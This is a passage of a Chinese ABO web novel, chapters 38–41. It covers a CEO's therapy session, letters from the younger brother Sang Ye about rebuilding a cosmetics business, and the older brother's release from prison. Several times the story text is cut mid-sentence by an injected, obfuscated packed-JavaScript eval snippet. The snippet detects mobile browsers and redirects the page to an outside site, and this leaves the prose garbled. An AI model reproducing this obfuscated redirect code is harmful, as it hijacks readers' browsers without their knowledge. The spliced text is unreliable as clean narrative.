“你这样子不会十几天都没洗过澡吧?脏得要死,我看你是真想当流浪汉了。赶紧回去上班,记得跟你舅舅打个电话,人可担心你了。”林晓燕抬手扇了扇鼻子前的空气,仿佛闻到了什么难闻的气味,随后嘀咕一句:“这么久不吃饭都没饿死。” 相召南转动眼珠,从相民,到林晓燕,再到二人身后的员工。 他突然笑了一下。 这一笑令在场众人都面面相觑。 相召南拨开人群,走出书房,走出被拆卸的大门,走出华润湾。他理了理衣襟,心想那个护士说的没错。 他确实是病了。 他确实是病了。 不然怎么会对看不见桑也盲目的爱。 38.第 38 章 医生姓李,全名李由,是S市市中心三甲医院的心理科主治医生。因为医院是S市最好的医院,他自身履历也丰富,接待了不少有心理障碍的富家子弟,按理说经验十足。 但眼前这个人,属实让他有些无言以对。 首先,这个病人完全不按照医院规定做事,或者说,医院主动给他开了后门,作为医生也不好说什么。 其次,他本想按照流程让病人做个自我介绍,结果病人用不可思议的目光看着他,问:“你不认识我吗?” 大名鼎鼎的相氏集团总裁相召南,天天在电视机上露脸,李由当然认识。相召南说得没错,但这并不妨碍李由对他感到无语。 后来他问病人,你觉得自己哪里出了问题。 相召南憋了半天,脸都憋扭曲了才说:“我对不起他。” 李由虽然平时忙碌很少上网,但对前段时间闹得沸沸扬扬的事情也有所听闻,他记得当时相召南的配偶家里公司被爆出大瓜,医院同事都狠狠吃了一口,紧接着相召南就宣布撤资,和他同科室的医生有一个炒股的,当即就说他要把手里的股赶紧抛了。 李由好奇问了一句才知道本来他们股民还在观望情况,结果桑氏地产最大的合作伙伴宣布撤资,相当于告诉他们,这事实锤了,赶紧跑吧。 只短短一句,李由便明白了是什么情况。 “你觉得你害了他?” 相召南对外从未低下的头颅沉重地点了一下。 李由思忖了片刻,道:“这事确实是你太不留情面了,你要是介怀,最好是跟他道个歉,给一些实质性的补偿。” “我道歉了。” “嗯,怎么说?” “他不接受。” 李由心说这也正常,毕竟你害得人家上百亿的公司连垂死挣扎的机会都没有,随随便便就原谅了你也太草率了。 结果他还没点评什么,就看见相召南突然浑身颤抖起来,双目惊恐地放大,最后站起身来,椅子腿在地上刮出刺耳的声响。李由看着病人发疯般嚷着“他说让我不要打扰他了”“他说我自由了”,还不受控制地想要掀他的桌。 好在他的诊室里所有摆件都是固定死的,相召南尴尬地拔了又拔,都没扯动一件摆饰。 李由趁这个机会连忙按响了铃,一个护士进来,他说:“给他打一剂镇定剂。” 他按着病人,护士手疾眼快把镇定剂打了进去,针对Alpha的镇定剂很快起了效果,病人的眼神果然变得清澈起来。 “清醒了吗?” “嗯。” 相召南坐回座位,重新开始问诊。 “你当时撤资,是出于什么原因?” 相召南沉默了许久,缓缓开口:“事情刚爆出来的时候,我还在公司外面,接到电话,说是相渡南召开了紧急会议,要我赶紧回去。” “我回去一看,果不其然,在场的都是相民那个老不死的心腹,和相渡南眉来眼去,就等着这次机会把我踢出游戏。投资桑氏地产是我一手操办的,如果相氏因此受到牵连,董事会要拿我开刀,正中相渡南和相民下怀。所以我……”他深吸了一口,似乎很难说出那几个字,“所以我撤资了,尽可能保住相氏的股市。” “你是想保住相氏的股市,还是想保住自己的地位?”李由皱眉。 相召南霍地抬头,旋即又垂下眸,“我……”他下颚用力至极,仿佛下一刻就要把自己搞得脱臼,“我……” “是为了你,对吧。” 相召南突然就泄了气,“对。” 他深深闭了闭眼。 李由却没放过他,直往他心口戳刀子。 “其实是你自私自利,却还要拿相氏大局给自己当遮羞布。” 相召南捂着脸,“不是的。桑守安他自作自受,如果不是他作恶多端,怎么会落得进监狱的下场?” “桑守安是……”李由问,听着有点熟悉。 “桑也他大哥。” 李由默道了一句,小舅子啊。 “既然你觉得是他自作自受,你为什么又要一副为难的样子?” 相召南怔住。 “换句话说,你说他自作自受,作恶多端,这个结论从何得来的?能跟我讲讲吗。” 相召南似乎陷入了回忆,半晌才缓慢开口。 “四年前,他拿把林俊从局子里捞出来为交换要我和桑也结婚。” “你有什么损失吗?” 从现在来看,显然没有,他还得了一个Omega。 “这跟他作恶有什么关联吗?” “林俊是个蠢货,但之前一直没有被发现,桑守安他弟弟刚诊出信息素依赖症,检测出和我是百分百契合,林俊立马就进去了。除了他还能是谁?” “这是你的猜测?” “这显而易见,用不着猜。” “嗯,那就是无凭无据。” 相召南梗了一下。 “这就是你们心理医生的素质吗?” 李由却笑了下,“我收钱了吗?” 相召南再次说不出话来。院长是他的朋友,优先接待只是他一句话的事,至于给钱,就算他要给,朋友也会推脱说他太客气了。 “行了。回归正题,你来医院是有什么困难吗?” 相召南似乎真的遇到了什么难以开口的困难,他的眼神瞬间变得迷茫了,游走在蔚蓝的窗边,落不到实处。 李由安静等着他,直到他收回目光,开口道:“我脑子好像出问题了。过去。” “我一直觉得他不爱我,但是我现在发现我错了,他爱我爱得那么明显,我却一直认为他只是因为生病了才离不开我。但其实也不能怪我,四年来他只在情热期频繁地联系我,我会这样想也很正常,对吗?可是,可是——可是好像也不对,他好像很爱我,他……我没看见,我看不见,我如果看见了,不会像现在这样做的。我脑子肯定出问题了。” 相召南越说越混乱,像一个刚学会说话的儿童,只能发出一些无意义的音节。 李由见过不少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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最后离开的时候,医生说:“相先生,你确实有问题,但不是精神出错。” “是你的认知有了问题。” “你的父母对你没有感情,只有利益,于是你武断地认为全世界所有人都对你有所图谋,认为你前配偶的兄长一定是不择手段,你前配偶一定是把你当成解病工具,所以你态度恶劣,强迫自己忽略明目张胆的爱意。” “但你其实又渴望爱。于是当这种爱意真的撤离时,你又‘清醒’过来,假惺惺地去挽留,然而你实际并不知道为什么爱意流失了。” “就目前而言,我只能说真心换真心,你用对糟糕的原生家庭困境的方式对待你的爱人,完全是错位了。至于他的离开,想必不是某一件事情导致,而是这四年来的点点滴滴共同推动促成的,至于是什么,你心里清楚。” 又说: “你很矛盾。” “但相先生,即使你再不相信别人,四年的时间也足以揭开蒙住你双目的面纱,解冻你冰山似的内心。你肯定还有东西没有坦白。下周见,希望到时候你能够说实话。” 相召南手脚发软地离开了医院。 医院内,护士推门进来,问李由:“你那么尖锐地跟他讲话,能行吗?院长不会找你麻烦吧?” 李由摊了摊手,“你看他们这种人,缺人好声好气捧着他们吗?不说得直白一点,人家寻思我是庸医呢。” 39.第 39 章 心叶暴雷了。 我都不知道他们到底在经营些什么。以前总怨你工作太忙,打趣你像是不需要睡觉一样,等我做起了和你一样的事情才知道有些觉不是不想睡,而是没时间睡。那个高层居然职场性骚扰,连Alpha都不放过,真的混蛋,这个直接开除毫无疑虑。至于其他的,不管是出口转内销抬高价还是饥饿营销,都需要时间好好弄明白,研究研究怎么解决。 我的计划是这样的。 但早上六点的时候林肯先生问我怎么还没发解决声明,我才知道黄金四小时的概念,才知道原来危机公关的处理第一时间不是调查情况是否属实,而是发道歉声明。 于是我让管媒体官号的员工发布了道歉声明,附上了那个混蛋的开除公告,至于其他的,则表示会严肃对待,认真调查,给出合理答复。 效果还不错,大部分人表示能够给我们时间,但也有人提出我们在避重就轻。诚然,他说得没错。我确实不知道另外的问题该如何解决。 我现在焦头烂额,连溜老大都没时间。 11月12日,弟弟桑也。 林肯先生肯定了你给我的提议,但是……他跟我说不妨开个发布会,露露脸,卖卖惨。他说,美妆的受众大多是一些有审美,有品位的Omega,这类人一般爱好美人,同情心泛滥,如果我愿意把自己的伤疤揭露给他们看,他们百分之八十的概率会溺爱我。听完林肯的话,我说他不是像商人,像经纪人,就该去娱乐圈,肯定能带出来大明星。但是助理却表示,林肯说得很有道理。简直疯了,我能做出那种事情来吗? 我做了。 因为网上的势头越来越难以控制了,所有人都在催促,让赶紧给个合理的解决方案。短短一周,心叶的销售量几乎拦腰折断,不仅顾客在观望,公司员工也在观望。 最后如他们所愿,我把自己的伤痛揭示在所有人面前。我说创建心叶的母亲的确是C国人,但早已逝世,父亲殉情而去,我年幼失恃失怙,成年后又罹患信息素依赖病症,最后剜除腺体才得以保住性命,唯一的兄长锒铛入狱,公司在高层手里我插不进手,只能任由他们胡作非为,这次事件之后我会拿回管理权,认真经营,真诚以待。 媒体看哭了,观众看哭了,助理也看哭了。 只有我哭不出来。 离开的时候还有人拿着摄像头对着我,不是对我的脸,而是我残缺的腺体。他们在窥探什么? 我本不想的。我没有隐私了。 11月18日,弟弟桑也。 比起林肯的提议,我还是坚持你的建议。尽管我的确采纳了林肯的建议,但我也没有放弃最初的想法。说的难听点,卖惨,编故事,就是在骗人。我没有办法心安理得地骗人。也不能毫无愧疚地把真诚当作商业手段。 既然我在发布会上说了要真诚以待,我就会做到。心叶的价格设置的确偏高,就算是在高端美妆产品里面,也是独一档的,我实在没想明白当初定价的人是怎么想的。 我先后查看了近百个美妆品牌的官网主页,发现在所有和心叶定位相近的品牌中,销量最高的往往都是各自的中端产品。说来也奇怪,他们似乎都不约而同地把自家产品分成了三档,更奇怪的是最低档的那些产品销量居然比不过中端产品。我参照他们的设置,将心叶的定价分成三级,考虑到低端线销量并不高,大多数的产品都定位到了中端,相比于之前的价格会稍低一些,但又不至于低太多。 而且,为了以前的顾客没有怨言,我让产品部专门生产了一套礼盒作为补偿。 效果很好。 至少我觉得比那场发布会效果好。 12月10日,弟弟桑也。 大哥真厉害,不愧是浸淫商场数年,你不说我都没想到这一茬。的确,如果我是一个手头有点余钱但又不太多的人,我会优先考虑中端线,都买大牌了谁会买大牌的廉价产品?至于高端线,又有点打肿脸充胖子的嫌疑。的确是个好策略。 难怪我总觉得在你们面前做什么说什么都会被看透,原来你们真的研究过心理学。 新年快乐,大哥。 1月1日,弟弟桑也。 大哥,虽然我一直没说,但是……相召南手里有关于桑氏地产被污蔑的证据,应该是有前员工和陈张地产的谁私底下联系过。不知道你能不能让人从这方面着手去调查下。 4月10日,弟弟桑也。 大哥,我好难受。我的后颈痛得仿佛被铁水浇筑,我吃了好多止痛药,都不管用。 我想吃香瓜了。 7月2日。 老大精力太旺盛了。他还小的时候我疲于工作没时间带它遛弯时就会在家里帮它坐俯卧撑,圆鼓鼓的肚子被挤压得肉肉到处流动,一般做个四五十个它就累了,趴着吐舌头再也不嚷着出门了。 但现在不行了。 9月1日,弟弟桑也。 老大越来越调皮了,一次没带它出门遛弯,就把沙发拆了。我把它打了一顿。 10月21日,弟弟桑也。 史密斯批评我说我的画悬浮空无内涵,没有真情实感,是空中楼阁。我尝试着画了记忆里的爸妈,姥姥,还有你,但史密斯都觉得不够深刻。 我做了错事,哥,我该怎么办? 1月3日,弟弟桑也。 如果那能帮你在绘画上有所精进,不要感到愧疚抑或是难过。在那段感情里你问心无愧,没有犯错,不敢回顾的人不该是你。 我在监狱一切安好,勿念。 1月10日,兄长桑守安。 不知道为什么,现在的顾客似乎对我抱有一些奇怪的幻想。我在工作的时候,助理往工作群里发了一个文件,我以为是什么工作内容,刚好接收了。结果我点开一看,竟然是我手再慢一点就会被和谐的内容!那天我在办公室脸烧得滚烫,大脑也不清醒,一点工作都没做成。 我问助理这是什么,他支支吾吾地说网上有一些人幻想和我谈恋爱,说我有钱有颜值,还会画画,平时出镜的形象也是礼貌和善温温柔柔的,是很多人的理想对象。 我不理解,我说我不是Alpha,助理竟然说正是因为我不是Alpha,还是一个受尽了Alpha的苦、鼓起勇气剜除腺体的倒霉蛋,才会有那么多人迷恋我,他们对Alpha都有很大恶意。说到这里我反而能理解他们了。于是我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14449549|153477||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也没要求助理帮我把这些内容从全网清除掉,就当是给他们一些合理的幻想,引导他们发展正确的恋爱观吧。我绝对不是在反Alpha。 3月7日,弟弟桑也。 老大把我新买的沙发拆了,我想打它一顿。但我打不过它了。 一年半的时间,它打坏了无数个水杯,四个花瓶,七个陶瓷碗,咬坏了四套窗帘,三张沙发。 谁能管管它? 要不我把它送去给你作伴吧?我相信监狱的军事化管理一定能让它改邪归正。 6月27日,弟弟桑也。 老大莫名其妙对着空气嚎叫,叫得我心里发慌。我让助理给我雇了个保镖,但又觉得让他随时随地跟着我有点小题大做。 9月2日,弟弟桑也。 心叶好起来了。前段时间心叶总部大楼被人拍了视频发在网上,又火了一把。 收到了M国总商会的信函,邀请我到今年的年终大会商量明年的计划。可我不是M国人。我还在纠结去不去。 11月7日,弟弟桑也。 真好啊,走到哪里都有人点头哈腰,即使是年纪比我大二三十岁的人,也不得不对我说的话连连点头。 柴柯斯,就是那个总是找我麻烦的人,当初心叶暴雷就是他的手笔,前不久也进了自家公司,结果上台没几天就带着公司亏损了几个亿,被他祖父一脚踹得进了重症监护室。悄悄说一句,里面有我使坏。但我不是坏人,我只是帮他父母教育孩子。 上次在林肯先生家碰到他,他也不敢再对我出言不逊,显然在商场上遭到毒打之后有所收敛了。看他吃瘪,就像我之前在酒会上终于忍不住把对我阴阳怪气的人怼了回去一样爽。 1月13日,弟弟桑也。 哥,你快要出狱了吧? 3月22日,弟弟桑也。 哥,林肯他居然用拍卖行……!我和他大吵了一架,他还笑我太天真太幼稚。 我完全无法接受。 我问他,如果我是他的孩子,他还会这样做吗。他说,但你不是。不仅如此,他还对我生气这件事很不满,骂我是小白眼狼。 不可理喻。 4月30日,弟弟桑也。 老大好像发现我不开心了,溜它的时候一个劲往商场里钻,最后停在一个娃娃机前面。 我还没换好硬币,它就钻到娃娃机里面去了。准确说,狗头进去了,屁股没进得去。它已经不是当初那个能麻溜钻进去的小狗了。 最后叫了商场负责人过来,给了小费,让他帮我们把机器拆了,把老大救出来。 5月2日,弟弟桑也。 哥,我好开心。我们终于要见面了。 我变化很大,至少周围人都这样说,说我成熟了,稳重了,气质都老成了。你一定会感到惊讶的。 凌星前不久才开了演唱会,他也成了一直想成为的人。老大上周感冒了,我守着它打针吃药才好起来。这个犟种为了不吃药硬是把药水含在嘴里,趁我离开偷偷吐在花盆里,还是我给花浇水的时候闻到一股药味查了监控才知道。 哥,我们终于要见面了。 7月21日,弟弟桑也。 40.第 40 章 无论某些二代如何看不起桑也,觉得他流浪到M国,觉得他不过是一个连完整腺体都没有的残废,现在的桑也早已不是他们能在明面上诋毁看低的了。 时常,桑也出现在他们的长辈身边,以合作伙伴的身份。 即使是从小娇生惯养的Omega,抑或是眼高于顶的Alpha,都只能乖乖巧巧,顺从地叫上一句“桑总”。 当桑也宣布要暂时回到C国,最高兴的不亚于那些仗着莫名其妙的高贵看不起桑也、嘴里嘀咕着“不知道那些人喜欢他什么”却又不得不对他低头的人,再也不用听着家里长辈念叨“你看看人家”。 桑也知道他们的仇视从何而来,但桑也从不虚伪地表示谬赞,而是大大方方笑着感谢夸奖。 回国的前一夜,林肯还在跟他讲,留在M国他能有更好的发展。 桑也当然不可能说他认为在你身边风险太大,只是用一些情怀之类虚无悬浮的东西搪塞了过去。 “你不真诚。”林肯最后评价他。 桑也轻笑,似乎并没有把这一句批评看得太重,“林肯先生教得好。” 林肯不可能听不懂他的言下之意,但并没有对他的刺言感到气愤,反而平和而意味深长地讲道:“回了C国,也还能继续合作。” 最后M国也没能留下他。 桑也的机票定在桑守安出狱那天上午。老大由助理提前一天带回国。 他在M国的事务太多,除了刚到M国扶起来的成安拍卖会和心叶美妆,后期把好几家桑父桑母过世前留下的企业引上正轨,集团化初见成效,桩桩件件都需要交付给代理人。 因着都是他的心血,他对这些公司的感情不亚于对自己亲生的孩子,离开前的细细碎语算是最后的柔情。 桑守安出狱的前一天晚上,桑也坐上了飞机。 轻装上阵。 很多东西都没带,比如三年来画的近二十幅油画。 他计划在飞机上睡一觉,但实际却因为难捺不住的激动而难以入眠,以至于在头等舱的窗口看了一整个航程的黑色夜景。 当灰蒙蒙的视野里出现成片闪耀的灯光,他便到了S市。 上午九点,他从机场出来,朝着停车场走去,准备开着提前让人运回国内的科尼赛格直接去S市市监接大哥。 然而等他在并不明朗的停车库里找到自己满钻的爱车时,却在车边看见了一个令他不住皱眉的人。 相召南不知为何出现在了他的车前,用一副难以形容的表情凝视着柯尼塞格,仿佛在追悔什么,又像是隐含着某种期待。 三年不见,桑也一时有些没反应过来。相召南的穿着还是老一套的西服加腕表,身上的气质也并没有多大改变,甚至相比于三年前,那种凌驾于众人的气势更浓烈了几分。 然而就在桑也开口的下一刻,相召南浑身的气息都变了,变得畏缩,收敛,像不擅长表现自己的人初次站上舞台。 “有事吗,相先生。” 桑也主动开口,绝非怀着某些念念不忘的想法,反而是忘得彻底,内心干净,才不会望而生怯。 他坦坦荡荡,仿佛三年前的一切苦难都被他抛之脑后,仿佛三年前的爱恨情仇都只是过往,没在他身上留下任何痕迹。 只见相召南脸上出现了瞬间的惊愕,“你叫我……相先生?” 他原本挺拔伟岸的身躯变得渺小起来,似乎有什么东西破碎了。 桑也心无波澜,只说:“相先生要是闲得没事就自己站会,我还有事,先走了。” 他刚打开车门坐进去启动车辆,低沉平稳的车辆轰鸣声甫一传出来,相召南就慌不择路地转到他车窗处,竟然用手按住半开的车窗,仿佛要用蛮力逼停随时可能冲出去的跑车。 相召南没说话,却见边上走来一个陌生男子,看不出是Omega还是Beta,似乎是看明白他二人并非爱侣,主动上来攀谈,询问能不能加桑也的联系方式,桑也本想婉拒,但又同意了。 他不在意过去,不代表他不乐意看见相召南吃瘪。让每一个和他有过节的人吃瘪,都能缓解他工作的疲劳。 直到那个陌生人笑着走开,相召南都还一动不动。 他那副欲言又止的神情让桑也看得心烦,直问:“到底什么事。” 相召南三缄其口,凉薄的唇几度张合,最后在桑也踩下离合这一刻,才憋出一句:“你结过婚,不适合再开这种车了。” 满钻的柯尼塞格高调奢华,随时随地都能吸引来一批爱慕者,和某些常年开着商务车的人格调大不相同。 桑也顿时笑出声来。 这话听着有几分熟悉。到底是不适合车,还是不适合什么。 桑也用细细打量的目光上下扫视相召南,尽管他坐在昏暗的车内,目光却如同日光一样灼灼。 “这位先生,我二十五岁,正直盛年,开这种车正合适。是你老了。” 他只留下这样一句话,旋即开车离开了停车库,再耽误点时间就要赶不上接大哥了。 至于说话不合时宜的人,不必理会。 被他抛在车后的人闻言流露出复杂的难堪神色,装得刀枪不入却还是被自己受伤的神情出卖。他老了?相召南不由得开始审视自己。 然而桑也一无所知,也不想看见。 S市的早高峰从早上六点多一直持续到九点,纵使桑也开着豪车,也只能和所有人一起堵在路上。 到市监门口时,凌星已经在等候,看着没有大哥身影,桑也默默感慨了一句还好没来晚。 本来凌星昨天晚上就吵着要来机场接机,结果这小子一觉睡到八点,家离机场又有一段距离,桑也便让他直接到监狱门口来。 一见到他,凌星就虎扑上来,搂着他的脖子,叽叽喳喳说个半天。不知道怎么地就摸到了他脖子后面微微凹陷的地方,整个人僵在原地,傻愣愣地收回手去。 三年来,凌星开巡演,桑也又忙着公司的事情,总是凑不到都有空的时间,因而只匆忙见过三四次。上一次见面还是快一年前的事情。 加上有桑守安出狱这么一件喜事,所以凌星激动也在所难免。 至于残缺的腺体。 知道归知道,摸到又是另一回事。凌星一直规避着不去提这件事,却在这么个好时候不小心碰到,面上的喜色瞬间消逝了。 桑也看得开,“都三年了,这有什么。” 凌星看他不介意,松了口气,又开始吵闹起来。 倒是桑也发现了些不对劲,这人在舞台上蹦蹦跳跳,怎么到了他身边就软绵绵的,站一会就得吊在他身上。 他问凌星:“你身体不舒服吗?” 凌星立马嚷着:“我能有什么不舒服的?” “欸,桑大哥出来了!” 桑也瞬间被吸引了注意力,他望向铁门内,果然看见桑守安在监狱人员的陪同下出来,穿着一身浅咖色薄款风衣,是桑也提前叫人送进去的。 然而他的目光并没有一直停留在大哥身上,反而在桑守安身边的两名监狱人员上流转。 一个留着络腮胡,还有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14458117|153477||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发福,肚子都快把制服撑破了,另一个个子看着还不到一米七。这二人怎么看都不像是那位多次出现在信件中的楚方明。 桑守安走出大门,凌星立马冲上去放了个礼花,哐哐拍掌:“恭喜桑大哥出狱!” 在繁盛的礼花坠落之际,桑也和桑守安深深拥抱了一下。 他听见两个人不约而同响起的声音。 “大哥——” “耶耶——” “你受苦了。” 桑也心间霎时发了大水。 他没有说什么“没有”“我过得很好”,桑守安也没有。 二人只是抱在一起,缄默无言,仿佛过去三年的艰辛在这个拥抱之下都能和解。 这个拥抱很久很久,久到送桑守安出来的两名工作人员返回门内关上了铁门。 桑守安没带什么东西,监狱里东西带不进去,也带不出来。 等他二人松开,便准备离开。 三人往前走了几步,到车前时,桑也频频回头。 凌星似乎发现了他的不对劲,问他:“耶耶你脖子出问题了?” 桑也给了他后背一巴掌,把人推到车上去,关上车门,转身问桑守安:“没有别的人要来送送你吗?” 他浅浅笑着,还带着些揶揄之色。 然而桑守安只是沉默地坐上了副驾驶位置,桑也见状赶紧了回到自己的驾驶位。 他迟迟没有启动车辆,良久听见大哥说:“除了你们,还有谁吗?” 桑也的笑容收了回去,默不作声启动车辆,缓缓驶离市监的范围。 然而他清晰地看见,桑守安在车辆转弯后久久看着监狱大门。 因为桑氏出事,他家在S市的十几套房产都被法拍,好在他半年前就期待着这一刻,早早着手在S市海风府购买了一套独栋。 新房子环境好,面积大,虽然在市郊,但比之前桑家那套别墅离市区近些,地段还不错。 唯一不好的就是没有人气。 回到家里,桑也和桑守安、凌星一起吃了顿饭,因为桑也喜欢吃辣的,便做主点了S市有名的火锅店送餐来。 热腾腾的锅气瞬间让冷清的房子变得热闹起来。 提前回来的老大已经把房子踩熟了,听见开饭的声音,立马哼哧哼哧跑过来趴着。凌星挑着生肉逗它,把老大馋得不行。 桑也笑他:“怎么还跟狗抢吃的。” 凌星骄傲得很:“我以前还跟狗抢你呢。” 寂静一瞬之后,三人都笑了。 吃完饭后,凌星的经纪人来接他去跑商务,家里的厨余则由钟点工来收拾。 桑守安点了支烟在阳台抽。 见桑也过来,他掐灭了烟,问:“耶耶不去午睡吗?” 过去桑也有午睡的习惯,后来在M国忙碌惯了,午睡习惯也没了。 桑也摇头,想说些什么,又怕唐突,最后在桑守安微笑的等候中鼓起勇气直说:“大哥,有矛盾就解决,不要拖到最后无疾而终了。” 桑守安和他不愧是血脉亲人,二人的扭捏劲一模一样,所以在桑也看见大哥那个眼神时,他无比熟悉。 他遭受了爱情的摧残,但并不认为是爱情的错,错在人。大哥这么多年没谈过恋爱,又和他一样是个忸怩的性子,他不想大哥最后落得和他一个下场。 桑守安眼神飘忽了一瞬,不知道想着什么,旋即揉了揉桑也的头,把对方的黑色短发揉得乱七八糟的,像刚睡醒似的。 他宠溺道:“是,桑总教育得对。” 41.第 41 章 “回去看看爸妈和姥姥吧。” 桑守安对桑也说。 桑也没说什么,安静地置办了些东西拎到后备箱。出发前,桑守安问:“不带,嗯,老大吗?” “他会吐你一身。” 桑守安合上后备箱车门,笑着说耶耶小时候也晕车,但桑也不知道在想什么,没理他。 直到坐上车,桑也都还保持着沉默。 再次踏上这片土地,一些黑色的记忆无法回避地涌上脑海,仿佛污秽泥藻粘在颅腔四壁挥之不去。 三年来他有好几次机会回国。 可是他不敢。 更别提回到姥姥的埋骨之地。 车内只有发动机嗡鸣的闷响,像堰塘里荡开的水纹撞到边沿的池壁又荡回来,推得桑也摇摇晃晃。 他可能是晕车了,桑也想。 车辆正正停在三座孤零零的坟茔前,发动机熄火,一切归于寂静。 桑守安推开车门下了车,却没见桑也下来。他打开副驾驶的车门,“耶耶?” 桑也感觉手有点冷,头有点晕,胃有点想吐。他僵僵地抬起眼睛看着大哥。 “哥,爸妈会怪我吗?姥姥……”说到后面,他的声音异常艰涩,如同烧伤了喉咙的病患,深深吸了一口气,“会怪我吗?” 母亲去世后,父亲不眠不休地工作,把事物都处理好,最后随母亲而去,事先交代给他们的就是,让他们兄弟俩一定要好好侍奉姥姥,让姥姥尽享天伦之乐。 姥姥每天早出晚归,摆弄她的一草一木一花一果,身体健康,要是没有出意外,再活个十年二十年没有问题。 可是却因为他的一则电话披着霜露出门,失去了生命。 尽管在M国风生水起,回到这块熟悉的土地,他还是像三年前一样脆弱。 然而他听见大哥说:“你再不下来,姥姥就该想为什么小宝三年都不肯来见她一面呢?为什么到了地方还迟迟不肯下车呢?届时真该要怪你了。” “耶耶,你在质疑爸妈和姥姥对你的爱吗?他们知道你这样想他们,那才是真的要生气了。” 桑也心里一震,鼻头酸酸的。 他装作气冲冲的模样,啪地跳下车,“大宝你说什么呢。” 桑守安倒吸了一口冷气,梗了一下,无可奈何地关上车门。 桑也到后备箱取出给爸妈和姥姥准备的祭品,二人分担着一块拿去了坟墓前。 一为单,二为双,三成群。这一块方地因为三块坟墓的落座,已经不是陵园胜似陵园了。 桑也把香烛和纸钱放在姥姥墓碑前。 现在很多地方都不兴点香烧腊烧纸钱了,但春城是乡下,这里的人旧,习俗也很旧,从这里走出去的桑家人也保留着这样的旧习惯。 他没有抽烟的习惯,自然也不会随身携带打火机,于是看向桑守安。 谁料桑守安也干巴巴望着他,二人面面相觑。 桑也:“打火机呢?” 桑守安皱了皱眉:“戒烟了,没带打火机。” 桑也头上似乎冒出来两个问号,装什么呢,昨天不还抽着。就算是监狱没有烟酒,他都能天天往外面送信,还能搞不到烟? “你昨天……” 桑守安:“咳咳,昨天是一时兴起。发现没什么意思。真戒了。” 桑也好看的眉微微蹙起,那怎么办?总不能钻木起火吧,就算他想,连根棍都找不着,有心无力啊。 他凝愁的目光落在干干净净的坟墓前,三年来按理说只有清风扫过的坟墓和墓碑竟一尘不染,没有枯黄的落叶,也没有纷乱的杂草,在墓碑前的夹缝里……居然还有一根小指长的红色木棍? 桑也捡起来看了一眼,应当是香的杆。 若是在桑父桑母的坟前出现了这样的遗留物,自然不会引起桑也的留意。 然而在沈音华的坟前…… 姥姥出事时桑也正在医院,大哥没多久就被收押,只有大哥安排的人帮忙下葬。 难道是下葬时烧了香? 但春城没有这样的习俗。 至少在桑也的印象里是没有的。小时候他还住在春城时,总是熬夜玩手机,半夜听到有吹唢呐的路过,胆子大的他便偷偷溜了出去跟在后面,目睹了一场下葬的仪式,只看见了落棺和培土,没见着还要点香。 后来爸妈的骨灰盒下葬时,桑也一直跟着,也没见点香。 他的印象里,停灵的时候似乎会烧点香蜡,但姥姥出车祸正值夏天,天气炎热,停灵容易有异味,所以第二天就入了土。 没有进火葬场,是因为姥姥毕竟年岁大,还坚守着入土为安的想法,当初桑母化作一坛骨灰时桑父还挨了她一顿骂。 更关键的是——桑也模糊记得,他出国前一天来看望姥姥时,还没有这样东西。 桑守安没有注意到桑也的举动。 桑也把一截红杆握进手里,对桑受安说:“哥,你先拆着纸钱,我去找邻居借下打火机。” “嗯,去吧。” 桑也心有所思地晃到了临近的一家住户门口。 他还没有敲门,就听见了几声狗吠,随后从屋内闯出来四五条黄狗。 桑也一看便知道它们都是老大的小弟。 狗叫声吸引来了主人,一个头发斑白的老头子走了出来,他咦了一声,似乎还在辨认来者是谁。 桑也先认出了他:“李叔,忙着呢?” “诶,没有没有,看电视呢。你怎么回来了?” 桑也笑了一下,“我和大哥回来看看爸妈和姥姥,给他们烧点纸钱。李叔你有打火机吗?我们到了地方才发现都没带打火机。”他摸摸脑袋,一副羞赧的样子。 李叔立即掏了下上衣的口袋,递给他一枚透明塑料壳的打火机,一元钱一只的那种。没等桑也接手,李叔不好意思地笑了笑:“便宜货,别介意。” “哪里的话,能有人借给我就要感恩戴德了。”桑也拿过打火机,放进裤子口袋里,“那我待会用完了就给李叔你送回来。” “不急不急。” 然而桑也还没有离开的想法。 李叔拿不准他是什么情况,也直愣愣杵在院子里,好半晌才开口问道:“还有什么事吗?” 他似乎以为桑也还别有所求,特别大方地一挥手:“有什么事尽管跟你李叔说,别看我年纪大了,能帮的我肯定帮忙。” 桑也张了张口,最后叹了口气。 “李叔,这三年有什么外人来过春城吗?我在姥姥的墓地前发现了这个。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14466131|153477||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他取出香杆,摊在手中。 李叔眼睛不好使,凑近看了几眼,才恍然道:“你说这个?确实有。” 